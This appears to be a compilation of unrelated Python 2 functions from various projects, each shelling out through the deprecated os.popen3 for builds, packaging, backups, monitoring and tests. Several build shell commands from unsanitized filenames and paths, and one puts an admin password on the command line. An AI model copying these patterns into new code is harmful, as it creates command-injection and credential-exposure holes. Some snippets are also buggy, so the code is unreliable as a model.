def __init__(self, files, patternOrRE, replacement, recordResults=True): if isinstance(patternOrRE, str): self._regex = re.compile(patternOrRE) else: self._regex = patternOrRE if isinstance(replacement, str): self._subber = _GenSubberFunc(replacement).subberFunc() else: self._subber = replacement self._pattern = pattern = self._regex.pattern self._files = files self._results = {} self._recordResults = recordResults ## see if we should use pgrep to do the file matching self._usePgrep = False if (os.popen3('pgrep')[2].read()).startswith('Usage:'): ## now check to make sure pgrep understands the pattern tmpFile = mktemp() open(tmpFile, 'w').write('#') if not (os.popen3('pgrep "' + pattern + '" ' + tmpFile)[2].read()): # it didn't print an error msg so we're ok self._usePgrep = True os.remove(tmpFile) self._run()
def killPid( pid = None, ppid = True ): """ Kill a process given the process Id(pid), and optionally all its children(if ppid = True) Arguments: pid - The process Id. ppid - If True kill all its children. Return: None """ if sys.platform == 'win32': if ppid: er = os.popen3( "taskkill /F /T /PID %s" %pid )[2] else: er = os.popen3( "taskkill /F /PID %s" %childId )[2] else: if ppid: er = os.popen3( "kill -%s" %childId )[2] else: er = os.popen3("kill %s" %childId )[2] error = er.readlines( ) if len( error ) != 0: raise error[0]
def build(self, fd): if fd['filename'][-2:].lower() == '.c': fd['compiler'] = 'gcc' (child_stdin, child_stdout, child_stderr) = os.popen3("gcc -o ../build/%sa.out ../files/%s" % (fd['submitted_id'],fd['filename'])) r = file.read(child_stderr) #if we decide to save build errors, that would be here if len(r) > 0: print "Build Error: ", r fd['error'] = True if fd['filename'][-4:].lower() == '.cpp': fd['compiler'] = 'gcc' (child_stdin, child_stdout, child_stderr) = os.popen3("g++ -o ../build/%sa.out ../files/%s" % (fd['submitted_id'],fd['filename'])) r = file.read(child_stderr) #if we decide to save build errors, that would be here if len(r) > 0: print "Build Error: ", r fd['error'] = True elif fd['filename'][-5:].lower() == '.java': fd['compiler'] = 'javac' (child_stdin, child_stdout, child_stderr) = os.popen3("javac -d ../build ../files/%s" % fd['filename']) r = file.read(child_stderr) #print "Build Error: ", r if len(r) > 0: fd['error'] = True return fd path="../build" dirList=os.listdir(path) #also if a package is made (and thus a folder)... handle that... for fname in dirList: if fname[-6:].lower() == ".class": fd['classname'] = fname[:-6] break return fd
def main(): """ Delete the appropreate file in 'ramdisk_dir/events' and execute the appropreate script in 'event' if it exists. """ event = int(sys.argv[1]) kmotion_dir = os.getcwd()[:-5] try: mutex.acquire(kmotion_dir, 'core_rc') parser = ConfigParser.SafeConfigParser() parser.read('./core_rc') finally: mutex.release(kmotion_dir, 'core_rc') ramdisk_dir = parser.get('dirs', 'ramdisk_dir') event_file = '%s/events/%s' % (ramdisk_dir, event) if os.path.isfile(event_file): os.remove(event_file) exe_file = '%s/event/event_end%02i.sh' % (kmotion_dir, event) if os.path.isfile(exe_file): logger.log('executing: %s' % exe_file, 'CRIT') os.popen3('nohup %s &' % exe_file)
def createSymLink(self,dep): dir=self._dirInterfaces dir+=dep+"/cmt" cmd ="cd "+dir+" ; cmt show macro "+dep+"_home" out,input,err=os.popen3(cmd) input=input.readline() words=input.split("'") project_home=words[1] steps=project_home.split("/") external=steps[0] external=external.split("(")[1].split(")")[0] version=steps[2] version=version.split("(")[1].split(")")[0] config=steps[3] config=config.split("(")[1].split(")")[0] cmd="cd "+dir+" ; cmt show set_value "+external out,externaldir,err=os.popen3(cmd) cmd="cd "+dir+" ; cmt show set_value "+version out,versiondir,err=os.popen3(cmd) cmd="cd "+dir+" ; cmt show set_value "+config out,configdir,err=os.popen3(cmd) externaldir=externaldir.readline().strip() versiondir=versiondir.readline().strip() configdir=configdir.readline().strip() link_dir=externaldir+"/"+dep+"/"+versiondir+"/"+configdir dir ="/afs/cern.ch/sw/lcg/external/" cmd ="dir"+link_dir if os.path.isdir(cmd)==False: cmd ="cd "+dir+" ; ln -s "+link_dir+" ./"+dep ret=os.system(cmd) else : print dir+link_dir+" is already installed"
def execute(command): """@return: the contents of C{stdout} as a list of lines after executing C{command}""" pipeIn, pipeOut, pipeErr = os.popen3(command) lines = pipeOut.readlines() err = '\n'.join(pipeErr.readlines()) pipeIn.close(), pipeOut.close(), pipeErr.close() # If no lines are there, an error might have occurred if len(lines) == 0: # See if it is permission related (e.g. creating .svnlook) if err.find('Permission denied') != -1: os.chdir('/tmp') # Retry pipeIn, pipeOut, pipeErr = os.popen3(command) lines = pipeOut.readlines() err = '\n'.join(pipeErr.readlines()) pipeIn.close(), pipeOut.close(), pipeErr.close() # If there is still an error, print it if len(err) > 0: print err return lines
def deploy ( ): os.setuid ( 1000 ) out = "" stdin, stdout, stderr = os.popen3 ( "cd /var/bukaopu/; pwd; git pull origin master" ) out += stderr.read ( ) + stdout.read ( ) stdin, stdout, stderr = os.popen3 ( "supervisorctl -s http://127.0.0.1:9001 restart gunicorn" ) out += stderr.read ( ) + stdout.read ( )
def ask_next_step(self): next_is_stop = 0 OS = platform.system() enable_memory_collection = TestkitWebAPIServer.default_params["enable_memory_collection"] if enable_memory_collection: if OS == "Linux": try: fi, fo, fe = os.popen3("free -m | grep \"Mem\" | awk '{print $4}'") free_memory = fo.readline()[0:-1] free_memory_delta = int(free_memory) - 100 if free_memory_delta <= 0: print "[ Warning: free memory now is %sM, need to release memory ]" % free_memory # release memory in the cache next_is_stop = 1 fi, fo, fe = os.popen3("echo 3 > /proc/sys/vm/drop_caches") except Exception, e: print "[ Error: fail to check free memory, error: %s ]\n" % e print "[ Error: free memory now is critical low, need to release memory immediately ]" # release memory in the cache next_is_stop = 1 fi, fo, fe = os.popen3("echo 3 > /proc/sys/vm/drop_caches") else: if self.iter_params[self.auto_index_key] % 200 == 0: print "[ Warning: the client has run %s cases, need to release memory ]" % self.iter_params[self.auto_index_key] next_is_stop = 1
def chargeProjectsFromList(self, projects): for project in projects: line=project.strip() if line.islower() and line not in("gcc", "gmp", "mpfr", "roofit") : dir=self._dir+"/LCG_Builders/"+line+"/cmt/" cmdDir='cd '+dir cmd=cmdDir+" ; cmt show set_names" out, sets, err=os.popen3(cmd) cmd=cmdDir+" ; cmt show set_value LCG_basedir" out, base, err=os.popen3(cmd) cmd=cmdDir+" ; cmt show set_value LCG_pkgdest_pkgname" out, proj, err=os.popen3(cmd) cmd=cmdDir+" ; cmt show set_value LCG_pkgdest_vername" out, version, err=os.popen3(cmd) cmd=cmdDir+" ; echo $CMTCONFIG" out, platform, err=os.popen3(cmd) version=version.readline().strip() proj=proj.readline().strip() platform=platform.readline().strip() for set in sets: set=set.strip() if set=="LCG_destdir" and version!="": p=Project(line, base.readline().strip(), proj, version, platform) self._projects.append(p)
def find_externals(d) : for root, dirs, files in os.walk(d): cmmd = 'svn propget svn:externals %s' % root sin, std, err = os.popen3(cmmd) sl = std.readlines() if len(sl) > 0 : print "%s has externals property" % root for l in sl : mo = prop_re.match(l) if mo != None : cmmd = 'svn info %s' % mo.group(2) sin1, std1, err1 = os.popen3(cmmd) rev = None for r in std1.readlines() : mo1 = rev_re.match(r) if mo1 != None : rev = int(mo1.group(1)) s = "%s -r%d %s" % (mo.group(1), rev, mo.group(2)) cmmd = 'svn propset svn:externals "%s" %s' % (s, root) print cmmd os.system(cmmd) if '.svn' in dirs: dirs.remove('.svn') # don't visit .svn directories
def test_cp11334(self): #--Test that not using "# coding ..." results in a warning t_in, t_out, t_err = os.popen3(sys.executable + " " + os.path.join(self.test_dir, "encoded_files", "cp11334_warn.py")) t_err_lines = t_err.readlines() t_out_lines = t_out.readlines() t_err.close() t_out.close() t_in.close() self.assertEqual(len(t_out_lines), 0) self.assertTrue(t_err_lines[0].startswith(" File")) self.assertTrue(t_err_lines[1].startswith("SyntaxError: Non-ASCII character '\\xb5' in file")) #--Test that using "# coding ..." is OK t_in, t_out, t_err = os.popen3(sys.executable + " " + os.path.join(self.test_dir, "encoded_files", "cp11334_ok.py")) t_err_lines = t_err.readlines() t_out_lines = t_out.readlines() t_err.close() t_out.close() t_in.close() self.assertEqual(len(t_err_lines), 0) if not is_cli: self.assertEqual(t_out_lines[0], "\xb5ble\n") else: print "CodePlex 11334" self.assertEqual(t_out_lines[0], "\xe6ble\n") self.assertEqual(len(t_out_lines), 1)
def projectAlreadyInstalled(self, p): dir=self._dir+"/LCG_Builders/" dir+=p._name+"/cmt" cmd ="cd "+dir+" ; cmt show set_value LCG_pkgdest_pkgname" out, input, err=os.popen3(cmd) input=input.readline() input=input.strip() if input.strip()!="": dir+=p._name+"/cmt" cmd ="cd "+dir+" ; cmt show set_value LCG_pkgdest_vername" out, version, err=os.popen3(cmd) version=version.readline().strip() if version!="": dir=p._base+"/"+input+"/"+version+"/"+p._platform else: dir=p._base+"/"+input+"/"+p._version+"/"+p._platform else: dir=p._base+"/"+p._name+"/"+p._version+"/"+p._platform if os.path.exists(dir)==True: if os.path.islink(dir)==True: print "Is a symbolic link" return False return True return False
def symblinkAlreadyInstalled(self, p): dir=self._dir+"/LCG_Builders/" dir+=p+"/cmt" cmd ="cd "+dir+" ; cmt show set_value LCG_pkgdest_pkgname" out, input, err=os.popen3(cmd) input=input.readline() input=input.strip() cmd=cmd ="cd "+dir+" ; echo $CMTCONFIG" out, platform, err=os.popen3(cmd) platform=platform.readline() platform=platform.strip() dir ="/afs/cern.ch/sw/lcg/external/" if input.strip()!="": dir+=input+"/"+platform else: dir+=p+"/"+platform if os.path.isdir(dir)==True: return True return False
def get_stats(self): """Retrieves stats from ceph pools""" ceph_cluster = "%s-%s" % (self.prefix, self.cluster) data = { ceph_cluster: {} } stats_output = None try: # osd_pool_cmdline='ceph osd pool stats -f json --cluster ' + self.cluster # stats_output = subprocess.check_output(osd_pool_cmdline, shell=True) # cephdf_cmdline='ceph df -f json --cluster ' + self.cluster # df_output = subprocess.check_output(ceph_dfcmdline, shell=True) stdin, stdout, stderr = os.popen3('ceph osd pool stats -f json') stats_output = stdout.read() stdin2, stdout2, stderr2 = os.popen3('ceph df -f json') df_output = stdout2.read() except Exception as exc: collectd.error("ceph-pool: failed to ceph pool stats :: %s :: %s" % (exc, traceback.format_exc())) return if stats_output is None: collectd.error('ceph-pool: failed to ceph osd pool stats :: output was None') if df_output is None: collectd.error('ceph-pool: failed to ceph df :: output was None') json_stats_data = json.loads(stats_output) json_df_data = json.loads(df_output) # push osd pool stats results for pool in json_stats_data: pool_key = "pool-%s" % pool['pool_name'] data[ceph_cluster][pool_key] = {} pool_data = data[ceph_cluster][pool_key] for stat in ('read_bytes_sec','write_bytes_sec','read_op_per_sec','write_op_per_sec'): pool_data[stat] = pool['client_io_rate'][stat] if pool['client_io_rate'].has_key(stat) else 0 # push df results for pool in json_df_data['pools']: pool_data = data[ceph_cluster]["pool-%s" % pool['name']] for stat in ('bytes_used', 'kb_used', 'objects'): pool_data[stat] = pool['stats'][stat] if pool['stats'].has_key(stat) else 0 # push totals from df data[ceph_cluster]['cluster'] = {} if json_df_data['stats'].has_key('total_bytes'): # ceph 0.84+ data[ceph_cluster]['cluster']['total_space'] = int(json_df_data['stats']['total_bytes']) data[ceph_cluster]['cluster']['total_used'] = int(json_df_data['stats']['total_used_bytes']) data[ceph_cluster]['cluster']['total_avail'] = int(json_df_data['stats']['total_avail_bytes']) else: # ceph < 0.84 data[ceph_cluster]['cluster']['total_space'] = int(json_df_data['stats']['total_space']) * 1024.0 data[ceph_cluster]['cluster']['total_used'] = int(json_df_data['stats']['total_used']) * 1024.0 data[ceph_cluster]['cluster']['total_avail'] = int(json_df_data['stats']['total_avail']) * 1024.0 return data
def convert_psfrags(tmpfile, psfrags, font_preamble, pw, ph): """ When we want to use the LaTeX backend with postscript, we write PSFrag tags to a temporary postscript file, each one marking a position for LaTeX to render some text. convert_psfrags generates a LaTeX document containing the commands to convert those tags to text. LaTeX/dvips produces the postscript file that includes the actual text. """ epsfile = tmpfile+'.eps' shutil.move(tmpfile, epsfile) latexfile = tmpfile+'.tex' latexh = file(latexfile, 'w') dvifile = tmpfile+'.dvi' psfile = tmpfile+'.ps' print >>latexh, r"""\documentclass{scrartcl} %s \usepackage{psfrag} \usepackage[dvips]{graphicx} \usepackage{color} \pagestyle{empty} \setlength{\oddsidemargin}{0in} \setlength{\evensidemargin}{0in} \setlength{\topmargin}{0in} \setlength{\headheight}{0in} \setlength{\headsep}{0in} \setlength{\parindent}{0in} \setlength{\paperwidth}{%fin} \setlength{\paperheight}{%fin} \setlength{\textwidth}{%fin} \setlength{\textheight}{%fin} \special{papersize=%fin,%fin} \begin{document} \begin{figure} \centering %s \includegraphics{%s} \end{figure} \end{document} """% (font_preamble, pw, ph, pw-2, ph-2, pw, ph, '\n'.join(psfrags), os.path.split(epsfile)[-1]) latexh.close() curdir = os.getcwd() os.chdir(gettempdir()) command = 'latex -interaction=nonstopmode "%s"' % latexfile verbose.report(command, 'debug-annoying') stdin, stdout, stderr = os.popen3(command) verbose.report(stdout.read(), 'debug-annoying') verbose.report(stderr.read(), 'helpful') command = 'dvips -R -T %fin,%fin -o "%s" "%s"' % \ (pw, ph, psfile, dvifile) verbose.report(command, 'debug-annoying') stdin, stdout, stderr = os.popen3(command) verbose.report(stdout.read(), 'debug-annoying') verbose.report(stderr.read(), 'helpful') shutil.move(psfile, tmpfile) for fname in glob.glob(tmpfile+'.*'): os.remove(fname) os.chdir(curdir)
def test_os_popen3(self): # same test as test_popen3(), but using the os.popen*() API if os.name == 'posix': w, r, e = os.popen3([self.cmd]) self.validate_output(self.teststr, self.expected, r, w, e) w, r, e = os.popen3(self.cmd) self.validate_output(self.teststr, self.expected, r, w, e)
def make_messages(locale, basedir, srcdirs, outdir, extensions, verbose=False): (_stdin, stdout, stderr) = os.popen3('xgettext --version', 't') match = re.search(r'(?P<major>\d+)\.(?P<minor>\d+)', stdout.read()) if match: extensions = ['.html', '.py', '.pypo'] if not extensions else extensions outdir = os.path.join(basedir, outdir) pofile = os.path.join(outdir, '%s.po' % locale) potfile = os.path.join(outdir, '%s.pot' % locale) if os.path.exists(potfile): os.unlink(potfile) all_files = [] for srcdir in srcdirs: srcdir = os.path.join(basedir, srcdir) logging.info(srcdir + " ...") for (dirpath, _dirnames, filenames) in os.walk(srcdir): all_files.extend([(dirpath, f) for f in filenames]) all_files.sort() logging.info("Updating translation string...\n") for dirpath, file in all_files: _file_base, file_ext = os.path.splitext(file) if file_ext in extensions: cmd = 'xgettext -L Python -F -w=20 --omit-header --from-code UTF-8 --debug -o - "%s"' % os.path.join(dirpath, file) if verbose: logging.info('processing %s\n' % os.path.join(dirpath, file)) (_stdin, stdout, stderr) = os.popen3(cmd, 't') msgs = stdout.read() errors = stderr.read() if errors: pass if msgs: open(potfile, 'ab').write(msgs) if os.path.exists(potfile): (_stdin, stdout, stderr) = os.popen3('msguniq --to-code=utf-8 "%s"' % potfile, 't') msgs = stdout.read() errors = stderr.read() if errors: raise Exception("Errors happened while running msguniq\n%s" % errors) open(potfile, 'w').write(msgs) if os.path.exists(pofile): (_stdin, stdout, stderr) = os.popen3('msgmerge -q "%s" "%s"' % (pofile, potfile), 't') msgs = stdout.read() errors = stderr.read() if errors: raise Exception("Errors happened while running msgmerge\n%s" % errors) open(pofile, 'wb').write(msgs) po_to_csv(pofile) os.unlink(potfile) else: raise Exception("You need to install xgettext")
def __call__(self, x): params = self.map_params(x) print str(params[0])+ ' ' +str(params[1]) + ' ' +str(params[2]) cmd = path_aligner + ' -i ' + path_trainingdata + ' -x ' + path_devdata+ ' -d -v '+' -prob_align_null '+str(params[0]) +' -a '+str(params[1]) + ' -T ' + str(params[2]) #print cmd #+ ' > /home/brian/workspace/cdec_BO/dataprocess/test.out' pipe_in,pipe_out,pipe_err= os.popen3(cmd, 'wr' ) fout = open(path_fa_output,'w') line = '' while 1: line = pipe_out.readline() if '' == line: break fout.write(line) fout.close() print '1. Finish Alignment! \n' pipe_in,pipe_out,pipe_err= os.popen3('python '+ path_transformer +' '+ path_fa_output +' '+ path_devout,'wr') line = '' while 1: line = pipe_out.readline() if '' == line: break print line print '2. Finish Transform! \n' pipe_in,pipe_out,pipe_err= os.popen3('python ' + path_evaluater +' '+ path_key +' '+ path_devout,'wr') print '3. Finish Evaluation! \n' line = '' elements = [] while 1: line = pipe_out.readline() if '' == line: break elements = line.split() #print "BO INFO: "+ line # TOTAL LOG PROB -18901.8 score = 0 if elements[len(elements)-1]=='-inf': score = -9999999 else: score = float(elements[len(elements)-1]) print 'Result f-score:'+str(score) #score -1000 return score
def update_gui(put_files_here): command1 = "/usr/bin/curl -o "+os.path.join(put_files_here,"storkslicemanager.py")+" "+storksite+"gui/storkslicemanager.py" command2 = "/usr/bin/curl -o "+os.path.join(put_files_here,"storkcurlfuncs.py")+" "+storksite+"gui/storkcurlfuncs.py" (sin, sout, serr) = os.popen3( command1 ) (sin, sout, serr) = os.popen3( command2 ) #SHUTDOWN THE GUI # TODO: open it back up for the user again sys.exit(0)
def update_gui(put_files_here): command1 = arizonaconfig.get_option("curlpath")+" -L -o "+os.path.join(put_files_here,"storkslicemanager.py")+" "+storksite+"gui/storkslicemanager.py" command2 = arizonaconfig.get_option("curlpath")+" -L -o "+os.path.join(put_files_here,"storkcurlfuncs.py")+" "+storksite+"gui/storkcurlfuncs.py" (sin, sout, serr) = os.popen3( command1 ) (sin, sout, serr) = os.popen3( command2 ) #SHUTDOWN THE GUI # TODO: open it back up for the user again sys.exit(0)
def execute(self,CmdList): #if config exists for entity name (dsm_NAME.opt) rename current, replace dsm.opt, do cmd, replace current #popen3 kludge as shutil appears to block if os.name=='posix': try: #dbg('using POSIX paths. Command is;\n\t'+copycmd+' \"'+TSM.tsmroot+TSM.optroot+self.Name+'.opt\" \"'+TSM.tsmroot+'dsm.opt\"',DBGBN) Dummy,Dummyout,Dummyerr=os.popen3(copycmd+' \"'+TSM.tsmroot+TSM.optroot+self.Name+'.opt\" \"'+TSM.tsmroot+'dsm.opt\"') Dummy.close() Dummyout.close() Dummyerr.close() #dbg('using POSIX paths. Command is;\n\t'+copycmd+' \"'+TSM.tsmroot+TSM.optroot+self.Name+'.sys\" \"'+TSM.tsmroot+'dsm.sys\"',DBGBN) Dummy,Dummyout,Dummyerr=os.popen3(copycmd+' \"'+TSM.tsmroot+TSM.optroot+self.Name+'.sys\" \"'+TSM.tsmroot+'dsm.sys\"') Dummy.close() Dummyout.close() Dummyerr.close() except OSError: print 'ERROR: System error on popen3() cannot copy TSM optfile - Have you created your FC_OPT dir and .opt files?' else: try: #dbg('Using non-posix paths. Command is;\n\t'+copycmd+' \"'+TSM.tsmroot+TSM.optroot+self.Name+'.opt\" \"'+TSM.tsmroot+'dsm.opt\"',DBGBN) Dummy,Dummyout,Dummyerr=os.popen3(copycmd+' \"'+TSM.tsmroot+TSM.optroot+self.Name+'.opt\" \"'+TSM.tsmroot+'dsm.opt\"') Dummy.close() Dummyout.close() Dummyerr.close() except OSError: print 'ERROR: System error on popen3() cannot copy TSM optfile - Have you created your FC_OPT dir and .opt files?' #dbg('done copyfile for dsm renaming',DBGBN) #PROCESS CLASS OPTIONS SPECIFIC TO EXECUTION if TSM.Opts.has_key('DATAONLY') and TSM.Opts['DATAONLY']=='yes': #dbg('got YES for DATAONLY option',DBGBN) runcmd=TSM.tsmcleanadmincmd else: runcmd=TSM.tsmadmincmd #dbg('got NO or No Key for DATAONLY option',DBGBN) #dbg('runcmd is '+runcmd,DBGBN) CmdString=runcmd+' -id='+self.AdminUser+' -pa='+self.AdminPass+' '+' '.join(CmdList) if os.name!='posix': #dbg('Doing non-posix escape removal.',DBGBN) CmdString=CmdString.replace('\\','') #dbg('Final command string is -> '+CmdString+' <-',DBGBN) os.chdir(TSM.tsmroot) try: Dummy,CmdOut,CmdErr=os.popen3(CmdString) Dummy.close() outputlines=CmdOut.readlines() CmdOut.close() errorlines=CmdErr.readlines() CmdErr.close() for line in errorlines: print line except OSError: print 'Warning: System error on popen(), TSM entity '+self.Name+' failed command.' return [''] return outputlines
def checkinstall(): msg2 = "For SELS please ensure: \n" msg2 += "Python 2.4 or higher , " msg2 += "Java 1.4.x, 1.5.x or 1.6.x, " msg2 += "and GnuPG 1.4.7" osname = os.name if osname == "nt": ostype = "Windows" elif osname == "posix": ostype = "*nix (Linux, Unix, Mac OS)" stdin, stdout, stderr = os.popen3("java -version") errjava = stderr.read() outjava = stdout.read() stderr.close() stdout.close() if errjava == "": javaout = outjava else: javaout = errjava if javaout == "": print msg2 sys.exit() jver = javaout.splitlines() i = 0 for line in jver: num = string.find(line, "java version") if num == 0: word = jver[i] else: i = i + 1 stdin, stdout, stderr = os.popen3("gpg --version") outgpg = stdout.read() stdout.close() if outgpg == "": print msg2 sys.exit() gpgver = outgpg.splitlines() stdin, stdout, stderr = os.popen3("python -V") errpy = stderr.read() stderr.close() msg = "\n" msg += "OS Type = " msg += ostype msg += "\n" msg += word msg += "\n" msg += gpgver[0] msg += "\n" msg += errpy print msg print msg2 print "\n" sys.exit()
def checkinstall(): msg2 = 'For SELS please ensure: \n' msg2 += 'Python 2.4 or higher , ' msg2 += 'Java 1.4.x, 1.5.x, 1.6.x, or 1.7.x' msg2 += 'and GnuPG 1.4.7' osname = os.name if osname == 'nt': ostype = 'Windows' elif osname == 'posix': ostype = '*nix (Linux, Unix, Mac OS)' stdin, stdout, stderr = os.popen3('java -version') errjava = stderr.read() outjava = stdout.read() stderr.close() stdout.close() if errjava == "": javaout = outjava else: javaout = errjava if (javaout == ""): print msg2 sys.exit() jver = javaout.splitlines() i = 0 for line in jver: num = string.find(line, 'java version') if num == 0 : word = jver[i] else: i = i +1 stdin, stdout, stderr = os.popen3('gpg --version') outgpg = stdout.read() stdout.close() if (outgpg == ""): print msg2 sys.exit() gpgver = outgpg.splitlines() stdin, stdout, stderr = os.popen3('python -V') errpy = stderr.read() stderr.close() msg = '\n' msg += 'OS Type = ' msg += ostype msg += '\n' msg += word msg += '\n' msg += gpgver[0] msg += '\n' msg += errpy print msg print msg2 print '\n' sys.exit()
def run(self, edit): path = os.path.realpath(self.view.file_name().decode('utf-8')) if os.path.splitext(path)[1] != '.css': sublime.error_message('Not a CSS file!') return cmd = 'ckstyle "' + path + '"' os.popen3(cmd) resultFile = self.view.file_name() + '.ckstyle.txt' if os.path.exists(resultFile): self.view.window().open_file(self.view.file_name() + '.ckstyle.txt') else: sublime.message_dialog('No mistake found in this CSS, NB!')
def internal_render(self, req, name, content): if not name == 'latex': return 'Unknown macro %s' % (name) label = None for line in content.split("\n"): m = reLABEL.match(content) if m: label = m.group(1) key = sha.new(content.encode('utf-8')).hexdigest() imgname = key + '.png' imgpath = os.path.join(self.cacheDirectory, imgname) if not os.path.exists(imgpath): texname = key + '.tex' texpath = os.path.join(self.cacheDirectory, texname) try: f = codecs.open(texpath, encoding='utf-8', mode='w') f.write(tex_preamble) f.write(content) f.write('\end{document}') f.close() except Exception, e: return self.show_err("Problem creating tex file: %s" % (e)) os.chdir(self.cacheDirectory) cmd = self.latex_cmd + ' %s' % texname pin, pout, perr = os.popen3(cmd) pin.close() out = pout.read() err = perr.read() if len(err) and len(out): return 'Unable to call: %s %s %s' % (cmd, out, err) cmd = "".join([self.dvipng_cmd, " -T tight -x 1200 -z 9 -bg Transparent ", "-o %s %s" % (imgname, key + '.dvi')]) pin, pout, perr = os.popen3(cmd) pin.close() out = pout.read() err = perr.read() if len(err) and len(out): pass # TODO: check for real errors self.manage_cache()
def test_os_popen3(self): # same test as test_popen3(), but using the os.popen*() API if os.name == 'posix': w, r, e = os.popen3([self.cmd]) self.validate_output(self.teststr, self.expected, r, w, e) w, r, e = os.popen3(["echo", self.teststr]) got = r.read() self.assertEquals(got, self.teststr + "\n") got = e.read() self.assertFalse(got, "unexpected %r on stderr" % got) w, r, e = os.popen3(self.cmd) self.validate_output(self.teststr, self.expected, r, w, e)
def testErrors(self): self.core_instance.MakeView(u'test_view') self.core_instance.MakeZone(u'test_zone', u'master', u'test_zone.', view_name=u'test_view') command = os.popen('python %s a -t t -v any -u ' '%s -p %s --config-file %s -s %s' % ( EXEC, USERNAME, self.password, USER_CONFIG, self.server_name)) self.assertEqual(command.read(), 'CLIENT ERROR: The -z/--zone-name flag is required.\n') command.close() command = os.popen('python %s a -z test_zone --assignment-ip test -u ' '%s -p %s --config-file %s -s %s' % ( EXEC, USERNAME, self.password, USER_CONFIG, self.server_name)) self.assertEqual(command.read(), 'CLIENT ERROR: The -t/--target flag is required.\n') command.close() command = os.popen3('python %s soa -z z -t t --serial-number number ' '--refresh-seconds 3 --retry-seconds 3 ' '--expiry-seconds 3 --minimum-seconds 3 ' '-u %s -p %s --config-file %s -s %s' % ( EXEC, USERNAME, self.password, USER_CONFIG, self.server_name))[2] self.assertEqual(command.read().split('\n')[-2], "dnsrmrecord: error: option --serial-number: invalid integer value: " "'number'") command.close() command = os.popen('python %s soa -z z -t t --serial-number 3 ' '-u %s -p %s --config-file %s -s %s' % ( EXEC, USERNAME, self.password, USER_CONFIG, self.server_name)) self.assertEqual(command.read(), 'CLIENT ERROR: The --admin-email flag is required.\n') command.close() command = os.popen3('python %s mx -z z -t t --priority number ' '-u %s -p %s --config-file %s -s %s' % ( EXEC, USERNAME, self.password, USER_CONFIG, self.server_name))[2] self.assertEqual(command.read().split('\n')[-2], "dnsrmrecord: error: option --priority: invalid integer value: " "'number'") command.close() command = os.popen('python %s mx -z z -t t ' '-u %s -p %s --config-file %s -s %s' % ( EXEC, USERNAME, self.password, USER_CONFIG, self.server_name)) self.assertEqual(command.read(), 'CLIENT ERROR: The --priority flag is required.\n') command.close()
def write_package(self, dirname): self._setup_scratch_area() file = open("%s/control" % self.meta_dir, 'w') file.write(str(self)) file.close() cmd = "cd %s ; tar cvz --format=gnu -f %s/control.tar.gz control" % (self.meta_dir, self.scratch_dir) cmd_out, cmd_in, cmd_err = os.popen3(cmd) while cmd_err.readline() != "": pass cmd_out.close() cmd_in.close() cmd_err.close() bits = "control.tar.gz" if self.file_list: cmd = "cd %s ; tar cvz --format=gnu -f %s/data.tar.gz" % (self.file_dir, self.scratch_dir) cmd_out, cmd_in, cmd_err = os.popen3(cmd) while cmd_err.readline() != "": pass cmd_out.close() cmd_in.close() cmd_err.close() bits = bits + " data.tar.gz" file = "%s_%s_%s.%s" % (self.package, self.version, self.architecture, self.get_package_extension()) cmd = "cd %s ; tar cvz --format=gnu -f %s/%s %s" % (self.scratch_dir, dirname, file, bits) cmd_out, cmd_in, cmd_err = os.popen3(cmd) while cmd_err.readline() != "": pass cmd_out.close() cmd_in.close() cmd_err.close()
def write_package(self, dirname): buf = self.render_control() file = open("%s/control" % self.meta_dir, 'w') file.write(buf) self._setup_scratch_area() cmd = "cd %s ; tar cvfz %s/control.tar.gz control" % (self.meta_dir, self.scratch_dir) cmd_out, cmd_in, cmd_err = os.popen3(cmd) while cmd_err.readline() != "": pass cmd_out.close() cmd_in.close() cmd_err.close() bits = "control.tar.gz" if self.file_list: cmd = "cd %s ; tar cvfz %s/data.tar.gz" % (self.file_dir, self.scratch_dir) cmd_out, cmd_in, cmd_err = os.popen3(cmd) while cmd_err.readline() != "": pass cmd_out.close() cmd_in.close() cmd_err.close() bits = bits + " data.tar.gz" file = "%s_%s_%s.ipk" % (self.package, self.version, self.architecture) cmd = "cd %s ; tar cvfz %s/%s %s" % (self.scratch_dir, dirname, file, bits) cmd_out, cmd_in, cmd_err = os.popen3(cmd) while cmd_err.readline() != "": pass cmd_out.close() cmd_in.close() cmd_err.close()
def find_dependencies(self): packages=os.listdir(self._dir) for p in packages: dir=self._dir+os.sep+p+os.sep+"cmt" cmdir="cd "+dir+" ; " cmd="cd "+dir+" ; cmt show macro_value "+p+"_home" input,out,err=os.popen3(cmd) pkg_home=out.readline().strip() if pkg_home == "" : print "no proper value found for %s_home, skipping package %s" % (p,p) continue else : print "processing package",p if pkg_home[-1] != os.sep : pkg_home += os.sep bindir=pkg_home+"bin"+os.sep bins = [] if os.path.isdir(bindir) : map(lambda x: bins.append(bindir+x), os.listdir(bindir)) input,outp,error = os.popen3('find %s -name "*.so*"' % pkg_home) map(lambda x: bins.append(x[:-1]), outp.readlines()) eout = error.read() if len(eout) : print eout purebins = [] for b in bins : if os.path.islink(b) and os.path.realpath(b) in bins : continue else : purebins.append(b) for b in purebins : cmd = cmdir + " cmt run ldd " + b input,output,error = os.popen3(cmd) for l in output.readlines() : ls = l.split() if len(ls) and ls[-1][:3] == '(0x' and ls[-1][-1] == ')' : # if the last entry in the line looks like an address we found a valid line (0x123456789) libname = ls[0] libfound = '' if len(ls) > 2 and ls[2][:3] != '(0x' : libfound = ls[2] self._fulllibs.append('%s:%s:%s:%s' % (p, b, libname, libfound)) libshort = libfound if not len(libshort) : libshort = libname if libshort not in self._libs: self._libs.append(libshort) else : self._nolibs.append('%s:%s:%s' % (p, b, l))
def config_protect(cat, pn, pvr, pm): '''Return CONFIG_PROTECT (used by protect.py)''' if pm == "portage": try: import portage except ImportError as e: OUT.die("Portage libraries not found, quitting:\n%s" % e) return portage.settings['CONFIG_PROTECT'] elif pm == "paludis": cmd="cave print-id-environment-variable -b --format '%%v\n' --variable-name CONFIG_PROTECT %s/%s" % (cat,pn) fi, fo, fe = os.popen3(cmd) fi.close() result_lines = fo.readlines() fo.close() fe.close() return ' '.join(result_lines).strip() else: OUT.die("Unknown package manager: " + pm)
def bamDist(bamfile, col): names = [] values = [] pre = "" if (col == 1): pre = "mapped" elif (col == 5): pre = "pqal20" st = os.popen3("python ../tools/bamchromdist.py " + bamfile)[1].read().split("\n") for s in st[2:-3]: arr = re.split("[ \t]+", s) if (arr[0] == ""): arr.pop(0) names.append(pre + "_" + arr[0]) values.append(int(arr[col])) if (printing): print str(values) + " " + bamfile return names, values
